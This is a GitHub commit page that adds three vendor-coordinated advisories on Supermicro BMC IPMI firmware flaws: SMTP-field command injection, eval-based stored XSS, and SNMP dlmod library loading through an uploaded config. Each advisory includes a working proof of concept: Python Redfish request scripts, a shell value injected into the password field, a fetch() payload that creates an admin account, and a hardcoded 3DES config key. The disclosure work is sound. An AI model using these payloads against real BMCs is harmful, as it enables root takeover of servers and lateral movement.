Skip to content

Commit

Permalink
Add Supermicro BMC advisories (BRLY-2023-022, BRLY-2023-023, BRLY-202…
Browse files Browse the repository at this point in the history
…3-030)
  • Loading branch information
ivanovanton committed Sep 16, 2024
1 parent 3d7996b commit e19ca74
Show file tree
Hide file tree
Showing 3 changed files with 364 additions and 0 deletions.
123 changes: 123 additions & 0 deletions Supermicro/BRLY-2023-022.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,123 @@
# [BRLY-2023-022]

# Command injection vulnerability in Supermicro BMC IPMI firmware

## Summary

**BINARLY team** has discovered a command injection vulnerability in the web server component of Supermicro BMC IPMI firmware, allowing a possible attacker to execute arbitrary code.

## Vulnerability Information

* BINARLY internal vulnerability identifier: BRLY-2023-022
* Supermicro advisory: https://www.supermicro.com/en/support/security_BMC_IPMI_Apr_2024
* BINARLY calculated CVSS v3.1: 9.1 Critical AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
* Supermicro PSIRT calculated CVSS v3.1: 7.2 High AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

## Affected Supermicro firmwares with confirmed impact by Binarly team

| Device | Version | SHA256 |
| ------------------------------------- | ------------- | ---------------------------------------------------------------- |
| H12SSL-C/H12SSL-CT/H12SSL-i/H12SSL-NT | 01.01.10 | 66d376c40641bfdb9196244973fdf9d297c26f7fa48981a625ce7800448fafd9 |

## Potential impact

An attacker can exploit this vulnerability to elevate privileges from a user with administrative privileges of IPMI web application to BMC system root. Running arbitrary code on the BMC operating system allows to make the attack persistent during a BMC component reboot and to perform lateral movement within compromised infrastructure, infecting other endpoints.

## Vulnerability description

Supermicro BMC IPMI has a feature to send notification/alerts via email. User with administrative privileges can configure this notifications using the web interface via `Configuration->Notifications->Alerts` and SMTP server settings using `Configuration->Notifications->SMTP` menu.

On the server side, these values are stored and then used to send emails when notification/alert conditions are met, which results in the code located at offset `0xDFE44` in the `libipmi.so` binary is executed.

```c++
if ( UtilGetSMTPAuthEn(hostname) ) // if SMTP credentials were configured
{
UtilGetSMTPUserName(smtp_username, 65);
UtilGetSMTPPassword(smtp_password, 65);
if ( add_escape(smtp_username, smtp_username_esc) || add_escape(smtp_password, smtp_password_esc) )
{
j_console_log("[%s:%d]Fail to add escape for username or password\n", "SMTPClientSendMail", 3831);
free(command);
free(ptr);
return 0;
}
res = _snprintf_chk(
command,
4096,
1,
4096,
"%s --host=%s --port=%d --domain=%s --timeout=1 --auth=login --user=%s --passwordeval='echo %s' --from=%s %s > %s 2>&1",
"/bin/msmtp",
host,
port,
domain,
smtp_username,
smtp_password,
sender,
recipient,
filename);
}
...
run_shellcmd(command);
```
If the user provided SMTP server credentials during configuration, they will be passed to the `add_escape` function in order to get escaped strings `smtp_username_esc` and `smtp_password_esc`. But to build the shell command, initial values `smtp_username` and `smtp_password` are used, so it is possible to perform OS command injection:
```http
PATCH /redfish/v1/EventService/ HTTP/1.1
Host: 192.168.1.10:443
Content-Type: application/json
X-Auth-Token: oqh478pfd1lowbqsde17ivionc31znn4
Content-Length: 190
{"SMTP":{"Port":587,"ServerAddress":"1.1.1.1","FromAddress":"[email protected]","ConnectionProtocol":"None","Authentication":"Plain","Username":"user","Password":"';echo BRLY >/tmp/poc;echo '"}}
```

## Steps for exploitation

Below is the minimum PoC leading to RCE:

```python
import requests

HOST = "192.168.1.10"
PORT = 443

X_AUTH_TOKEN = "oqh478pfd1lowbqsde17ivionc31znn4"
PAYLOAD = "echo BRLY >/tmp/poc"

headers = {"X_AUTH_TOKEN": X_AUTH_TOKEN}

def config_alert():
url = f"https://{HOST}:{PORT}/redfish/v1/EventService/Subscriptions/1"
json_data = {"Context": "test", "Destination": "[email protected]", "EventTypes": ["Alert", "ResourceAdded", "ResourceRemoved", "ResourceUpdated", "StatusChange"], "Oem": {"Supermicro": {"EnableSubscription": True, "Severity": "Information", "SMTPSubject": "test"}}, "Protocol": "SMTP"}
requests.patch(url, headers=headers, json=json_data, verify=False)

def config_smtp():
url = f"https://{HOST}:{PORT}/redfish/v1/EventService/"
json_data = {"SMTP":{"Port":587,"ServerAddress":"1.1.1.1","FromAddress":"[email protected]","ConnectionProtocol":"None","Authentication":"Plain","Username":"user","Password":"';echo BRLY >/tmp/poc;echo '"}}
requests.patch(url, headers=headers, json=json_data, verify=False)

if __name__ == "__main__":
config_alert()
config_smtp()
```

## How to fix it

Ideally, user input should not be used in OS commands, instead, platform APIs or functional libraries are recommended. If it is not possible in such case, parameters passed to shell string must be checked against a whitelist of allowed characters.

## Disclosure timeline

This bug is subject to a 90 day disclosure deadline. After 90 days elapsed or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.

| Disclosure Activity | Date (YYYY-mm-dd) |
| ---------------------------------------- | ----------------- |
| Supermicro PSIRT is notified | 2023-12-22 |
| Supermicro PSIRT confirmed reported issue| 2024-02-13 |
| Supermicro public disclosure date | 2024-04-02 |
| BINARLY public disclosure date | 2024-09-16 |

## Acknowledgements

**BINARLY team**
74 changes: 74 additions & 0 deletions Supermicro/BRLY-2023-023.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,74 @@
# [BRLY-2023-023]

# Stored cross-site scripting vulnerability in Supermicro BMC IPMI firmware in the `man_ikvm_html5_bootstrap` webpage using `lang` local storage item

## Summary

**BINARLY team** has discovered a stored DOM-based cross-site scripting (XSS) vulnerability in the `man_ikvm_html5_bootstrap` webpage that uses `lang` local storage item, included in the web server component of Supermicro BMC IPMI firmware, allowing a possible attacker to gain access to an account with administrator privileges.

## Vulnerability Information

* BINARLY internal vulnerability identifier: BRLY-2023-023
* Supermicro advisory: https://www.supermicro.com/en/support/security_BMC_IPMI_Apr_2024
* BINARLY calculated CVSS v3.1: 8.6 High AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
* Supermicro PSIRT calculated CVSS v3.1: 8.3 High AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

## Affected Supermicro firmwares with confirmed impact by Binarly team

| Device | Version | SHA256 |
| ------------------------------------- | ------------- | ---------------------------------------------------------------- |
| H12SSL-C/H12SSL-CT/H12SSL-i/H12SSL-NT | 01.01.10 | 66d376c40641bfdb9196244973fdf9d297c26f7fa48981a625ce7800448fafd9 |

## Potential impact

An attacker could exploit this vulnerability to create an account with administrative privileges to the web server component of BMC IPMI software. Such account provides full acess to all IPMI feautures. It also allows exploitation of vulnerabilities that require authentication.
Successful exploitation of this vulnerability provides an attacker with persistence, allowing malicious code to be executed until the victim takes remedial actions.

## Vulnerability description

`man_ikvm_html5_bootstrap` webserver HTML page passes the value of `lang` local storage item to the `eval()` JavaScript function without any sanitization:

man_ikvm_html5_bootstrap:
```javascript
var sel = WebUtil.readSetting("lang","en");

translator = jQuery('body').translate ({
lang: sel,
t: eval("kvmdict_" + sel)
});
```

As a result, arbitrary JavaScript code can be injected into webpages, which will be executed on behalf of the authenticated user.

## Steps for exploitation

The first step to exploit this vulnerability is to poison the user's `lang` local storage item. This can be achieved using another vulnerability in the web server (with XSS, HTTP header injection, etc.), as well as through exploitation of other system components, for example, with a malware.

To create an administrator account with username `user` and password `fLbYsEHqhGYp9pgK` an attacker can poison the `lang` local storage item of an authenticated user session with administrative privileges with the following payload:

```
en + fetch("/redfish/v1/AccountService/Accounts",{method:"POST",headers:{"X-Auth-Token":sessionStorage.getItem("_x_auth")},body:JSON.stringify({"UserName":"user","Password":"fLbYsEHqhGYp9pgK","RoleId":"Administrator","Enabled":true,"AccountTypes":["Redfish"]})})
```

This payload first obtains the user's valid token and then uses it to make a `POST` request in order to create a user with administrative privileges and credentials defined by the attacker.

**_NOTE:_** The payload will be executed every time the victim visits vulnerable pages while the `lang` local storage item value is poisoned, even after logging in again, making this attack persistent. To terminate the exploitation, additional steps are required to clear the element local storage value.

## How to fix it

Ideally, user controlled inputs should not be passed to dangerous JavaScript functions such as `eval()`. If it is not possible in such case, the `lang` local storage item value must be checked against a whitelist of allowed values.

## Disclosure timeline

This bug is subject to a 90 day disclosure deadline. After 90 days elapsed or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.

| Disclosure Activity | Date (YYYY-mm-dd) |
| ---------------------------------------- | ----------------- |
| Supermicro PSIRT is notified | 2023-12-22 |
| Supermicro PSIRT confirmed reported issue| 2024-02-13 |
| Supermicro public disclosure date | 2024-04-02 |
| BINARLY public disclosure date | 2024-09-16 |

## Acknowledgements

**BINARLY team**
167 changes: 167 additions & 0 deletions Supermicro/BRLY-2023-030.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,167 @@
# [BRLY-2023-030]

# RCE inside BMC OS using SNMP service configuration in Supermicro BMC IPMI firmware

## Summary

**BINARLY team** has discovered a remote code execution vulnerability in the web server component of Supermicro BMC IPMI firmware, allowing a potential attacker to execute arbitrary code inside the BMC operating system as the root user.

## Vulnerability Information

* BINARLY internal vulnerability identifier: BRLY-2023-030
* Supermicro PSIRT assigned CVE identifier: [CVE-2023-33413](https://www.supermicro.com/en/support/security_BMC_IPMI_Apr_2024)
* BINARLY calculated CVSS v3.1: 9.1 Critical AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
* Supermicro PSIRT calculated CVSS v3.1: 8.3 High AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

## Affected Supermicro firmware with confirmed impact by Binarly team

| Device | Version | SHA256 |
| -------------------------- | ----------------- | ---------------------------------------------------------------- |
| X12SCA-5F | 01.03.03 (latest) | 108ef872150773bfb36669dafd9b887c4a0b5f9012ea71578e7bfca662b3c752 |

## Potential impact

A potential attacker can exploit this vulnerability to elevate privileges from a user with administrative privileges of IPMI web application to BMC system root. Running arbitrary code on the BMC operating system allows to make the attack persistent during a BMC component reboot and to perform lateral movement within compromised infrastructure, infecting other endpoints.

## Vulnerability description

Supermicro IPMI web interface provides a feature to download/upload BMC system configuration. A user with administrative privileges to the web interface can upload specially crafted configuration archive, which will lead to Remote Code Execution inside the BMC operating system.

The vulnerability exists because it is possible to modify SNMP service configuration file, which allows to load additional modules from dynamic libraries. A potential attacker can upload custom library using the crafted configuration archive and specify its name in the `snmpd.conf` file:
```
#Version:001
#createUser Anonymous
#rwuser Anonymous
#createUser ADMIN
#rwuser ADMIN
rocommunity public
rocommunity6 public
rwcommunity private
rwcommunity6 private
engineID a261dec2c9fb
dlmod ipmiAgentPluginObject /nv/host_auth_settings
```
Thus, the BMC operating system will be restarted, and during SNMP service load, `init_ipmiAgentPluginObject` function will be called from `/nv/host_auth_settings` file. It is worth noting that this attack is persistent, so exploitation will work even after BMC OS reboots.

**Note:** It is also possible to place custom library inside configuration folders, for example `ddns` or `ipctrl`, in such cases it also will be copied to the BMC filesystem.

**Note:** Potential attacker can also enable SNMP service with the `service.conf` file:
```
...
SNMP_SERVICE=1
...
```

## Steps for exploitation

Below is the minimum PoC leading to BMC OS RCE:

```python
import requests
import subprocess
import shutil
import binascii
from Crypto.Cipher import DES3
from Crypto.Util.Padding import pad, unpad

HOST = "192.168.1.64"
PORT = 443
X_AUTH_TOKEN = "d1grda52ua1lbx9xxatxsp7yw4f0zysc"

headers = {"X-Auth-Token": X_AUTH_TOKEN}

key = b"\xF1\xDA\x33\xA2\x98\x12\x06\x12\x06\x07\x92\xFF\xAA\x99\x88\x11\x99\x88\x77\x44\x55\x88\xAA\xBB"
iv = b"\x00" * 8

exploit_library_path = "./poc.so" # this library must contain `init_ipmiAgentPluginObject` export


def decrypt_3des_cbc(ciphertext, key, iv):
cipher = DES3.new(key, DES3.MODE_CBC, iv)
plaintext = cipher.decrypt(ciphertext)
return unpad(plaintext, DES3.block_size)


def encrypt_3des_cbc(plaintext, key, iv):
cipher = DES3.new(key, DES3.MODE_CBC, iv)
padded_plaintext = pad(plaintext, DES3.block_size)
ciphertext = cipher.encrypt(padded_plaintext)
return ciphertext


def download_config():
url = f"https://{HOST}:{PORT}/redfish/v1/UpdateService/Oem/Supermicro/IPMIConfig/Actions/SmcIPMIConfig.Download"
r = requests.post(url, headers=headers, verify=False)
return r.content


def modify_config(config_data):
# decrypt config data
config_data_dec = decrypt_3des_cbc(config_data, key, iv)

# save decrypted config archive (without crc)
with open("config_data_dec.tar.gz", "wb") as f:
f.write(config_data_dec[4:])

# unpack config archive
subprocess.run(["tar", "xzf", "config_data_dec.tar.gz"])

# copy exploit library
shutil.copyfile(exploit_library_path, "./preserve_config/ddns/poc.so")

# modify configurations
with open("./preserve_config/snmpd.conf", "w") as f:
f.write(
"#Version:001\n#createUser Anonymous\n#rwuser Anonymous\n#createUser ADMIN\n#rwuser ADMIN\nrocommunity public\nrocommunity6 public\nrwcommunity private\nrwcommunity6 private\nengineID a261dec2c9fb\ndlmod ipmiAgentPluginObject /nv/ddns/poc.so"
)
with open("./preserve_config/service.conf", "r") as f:
service_conf = f.read()
with open("./preserve_config/service.conf", "w") as f:
f.write(service_conf.replace("SNMP_SERVICE=0", "SNMP_SERVICE=1"))

# archive config folder
subprocess.run(["tar", "czf", "config_data_mod.tar.gz", "preserve_config"])

# encrypt config data
with open("config_data_mod.tar.gz", "rb") as f:
config_data_mod = f.read()
to_encrypt = (
bytes.fromhex(hex(binascii.crc32(config_data_mod))[2:])[::-1] + config_data_mod
)
config_data_enc = encrypt_3des_cbc(to_encrypt, key, iv)

return config_data_enc


def upload_config(data):
url = f"https://{HOST}:{PORT}/redfish/v1/UpdateService/Oem/Supermicro/IPMIConfig/Actions/SmcIPMIConfig.Upload"
files = {
"ipmi_config_file": ("save_config_mod.bin", data, "application/octet-stream"),
}
requests.post(url, headers=headers, files=files, verify=False)


if __name__ == "__main__":
config_data = download_config()
modified_config_data = modify_config(config_data)
upload_config(modified_config_data)
```

## How to fix it
We do not recommend allowing users to manipulate BMC OS services through configuration files, it is better to provide only the required settings in the web interface. In case this is not possible, it is necessary to strictly define the set of files that can be manipulated by users and their allowed content.


## Disclosure timeline

This bug is subject to a 90 day disclosure deadline. After 90 days elapsed or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.

| Disclosure Activity | Date (YYYY-mm-dd) |
| ---------------------------------------- | ----------------- |
| Supermicro PSIRT is notified | 2023-12-22 |
| Supermicro PSIRT confirmed reported issue| 2024-02-13 |
| Supermicro public disclosure date | 2024-04-02 |
| BINARLY public disclosure date | 2024-09-16 |

## Acknowledgements

**BINARLY team**

0 comments on commit e19ca74

Please sign in to comment.